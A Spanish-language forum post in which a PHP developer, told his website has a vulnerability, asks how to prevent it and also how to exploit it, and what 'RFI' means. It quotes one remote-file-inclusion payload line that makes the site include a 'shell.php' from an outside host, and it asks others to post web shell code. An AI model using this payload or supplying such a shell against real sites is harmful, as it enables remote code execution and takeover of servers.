Por azares del destino llegue a esta pagina ya que una persona amable me envio un correo indicandome las vulnerabilidaddes de mi webpage, llevo desde la manana hojeando su pagina, me dedico ala programacion media, avanzada en php, vb, asp ...solo que el campo de seguridad nunca ha sido mi fuerte bueno a lo que voy..
Esta persona me detecto la vulne 19543 (
Necesitas ser usuario para ver los enlaces
Crear Usuario Hacer Sesion ) ya he leeido varios tomeas donde se trata este punto pero mi bajo conocimiento a cerca del tema, me limito...
mis dudas son, como preevenir esta vulnerabilidad?
o bien como explotar la vulnerabilidad, se menciona un archivo shell.php ( que no he encontrado el fuente, o como elaborarlo )
Necesitas ser usuario para ver los enlaces
Crear Usuario Hacer Sesion[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.otrapage.com/shell.php
ejecuto eso y no sucede nada alo que asumo ke necesito el file ese shell.php alguien podria pasarme o desplegar aqui el codigo.. o bien, cada quien creea lo que quiera en ese shell.php
osea podria ser mifile.php en vez de ese nombre y con codigo que yo quiera???
otra duda que es rfi?? no hay un diccioinario de terminos para ir familiarizando!
saludos
Autor